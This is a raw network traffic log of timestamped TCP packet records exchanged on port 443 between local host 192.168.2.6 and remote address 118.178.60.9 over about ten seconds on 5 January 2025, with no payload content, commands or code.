Jan 5, 2025 10:12:25.971056938 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:25.971060991 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:25.971138000 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.179339886 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.179442883 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.279259920 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.279304028 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279325008 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279331923 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279442072 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.279450893 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279463053 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279546976 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.279553890 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279586077 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279599905 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279644012 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.279648066 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279755116 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.279762030 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279786110 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279788971 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.279994965 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.280002117 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.280050039 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.280055046 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.280072927 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.280112028 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.487338066 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.487402916 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.549516916 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.549540043 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549555063 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549618006 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.549624920 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549634933 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549712896 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.549717903 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549726963 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549738884 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549784899 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.549789906 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549921989 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.549927950 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549946070 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.549947977 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.550129890 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.550134897 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.550182104 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.550188065 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.550206900 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.550252914 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.759335995 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.761734962 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858331919 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858366013 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858388901 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858401060 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858553886 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858563900 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858591080 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858606100 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858608961 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858669043 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858697891 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858781099 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858787060 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858863115 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858867884 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:26.858886957 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858917952 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:26.858946085 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.067334890 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.067678928 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.204768896 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.204801083 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.204818010 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.204826117 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.204876900 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.204884052 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.204921007 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.204925060 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.204933882 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.204936981 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.204946995 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.204992056 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.205017090 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.251045942 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.251133919 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.251173973 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.251204014 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.251302004 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.251322031 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.251343966 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.251519918 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.251524925 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.251538992 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.251565933 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.251630068 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.463344097 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.463680983 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.529514074 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.529563904 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.529584885 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.529589891 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.529751062 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.617336035 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.617367029 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.617388010 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.617392063 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.617589951 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.617599964 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.617614985 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.617633104 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.617638111 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.617643118 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.617716074 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.617810965 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.827331066 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.827445984 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.908752918 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:27.908792973 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.908812046 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.908817053 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:27.908967972 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.010482073 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.010514975 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.010541916 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.010561943 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.010731936 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.010740995 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.010756969 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.010776043 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.010786057 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.010792017 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.010890961 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.010967970 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.215337992 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.215496063 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.345447063 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.345473051 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.345493078 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.345602989 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.460263014 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.460285902 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.460305929 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.460338116 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.460436106 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.460448027 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.460455894 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.460474014 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.460514069 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.460520983 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.460598946 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.460650921 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:28.667344093 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:28.667397022 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.091331959 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.091526985 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.460314989 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.460341930 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.460361958 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.460421085 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.460428953 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.460450888 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.460462093 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.460496902 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.460551977 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.460562944 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.460606098 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.605401039 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.605412006 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605432034 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605438948 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605611086 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.605617046 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605657101 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605705976 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605710030 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605766058 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.605770111 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.605895996 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.605936050 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:29.811342001 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:29.811446905 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.025294065 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.025317907 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.025331974 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.025336027 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.025424004 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.025432110 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.025494099 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.153683901 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.153707981 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.153736115 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.153744936 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.153879881 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.153887033 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.153918028 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.153949022 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.153953075 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.153968096 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.153975964 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.154036045 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.154041052 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.154090881 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.154182911 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.359340906 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.359464884 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.584810972 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.584830046 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.584846020 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.584856033 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.584927082 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.584933996 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.584991932 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.585017920 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.739733934 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.739753962 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.739772081 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.739784002 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.739933968 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.739939928 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.739949942 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.739965916 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.740026951 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.740031958 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.740118980 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.740180969 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:30.947340012 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:30.947427034 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.248326063 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.248352051 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.248364925 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.248372078 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.248446941 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.248522043 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.248532057 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.248589039 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.352440119 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.352461100 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.352477074 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.352489948 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.352574110 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.352580070 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.352591038 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.352664948 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.352669001 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.352678061 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.352744102 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.352847099 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:31.563325882 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:31.563380957 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:32.003326893 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:32.003376961 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:32.565854073 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:32.565875053 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:32.565888882 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:32.565895081 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:32.565967083 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:32.565975904 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:32.566040039 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:32.643815041 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:33.241858959 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:34.032989979 CET	62783	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:34.033023119 CET	443	62783	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:34.235626936 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:34.235668898 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:34.235745907 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:34.235970020 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:34.235981941 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.574650049 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.574734926 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:35.575412035 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:35.575424910 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.575654984 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:35.575661898 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.951021910 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.951041937 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.951126099 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:35.951148987 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.951198101 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:35.951328993 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.951379061 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:35.953107119 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.953169107 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:35.957596064 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:35.957654953 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.037420988 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.037503004 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.037606955 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.037653923 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.037916899 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.037975073 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.038084030 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.038130045 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.038338900 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.038393021 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.039863110 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.039918900 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.041934013 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.041987896 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.042097092 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.042152882 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.044295073 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.044348001 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.124105930 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.124177933 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.124229908 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.124279022 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.124650955 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.124702930 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.125101089 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.125149965 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.125370026 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.125403881 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.125426054 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.125435114 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.125448942 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.125474930 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.126033068 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.126091003 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.126162052 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.126205921 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.126859903 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.126915932 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.127103090 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.127151966 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.127532959 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.127585888 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.127883911 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.127933979 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.128066063 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.128110886 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.128669024 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.128725052 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.130872965 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.130927086 CET	62784	443	192.168.2.6	118.178.60.9
Jan 5, 2025 10:12:36.131087065 CET	443	62784	118.178.60.9	192.168.2.6
Jan 5, 2025 10:12:36.131129026 CET	62784	443	192.168.2.6	118.178.60.9
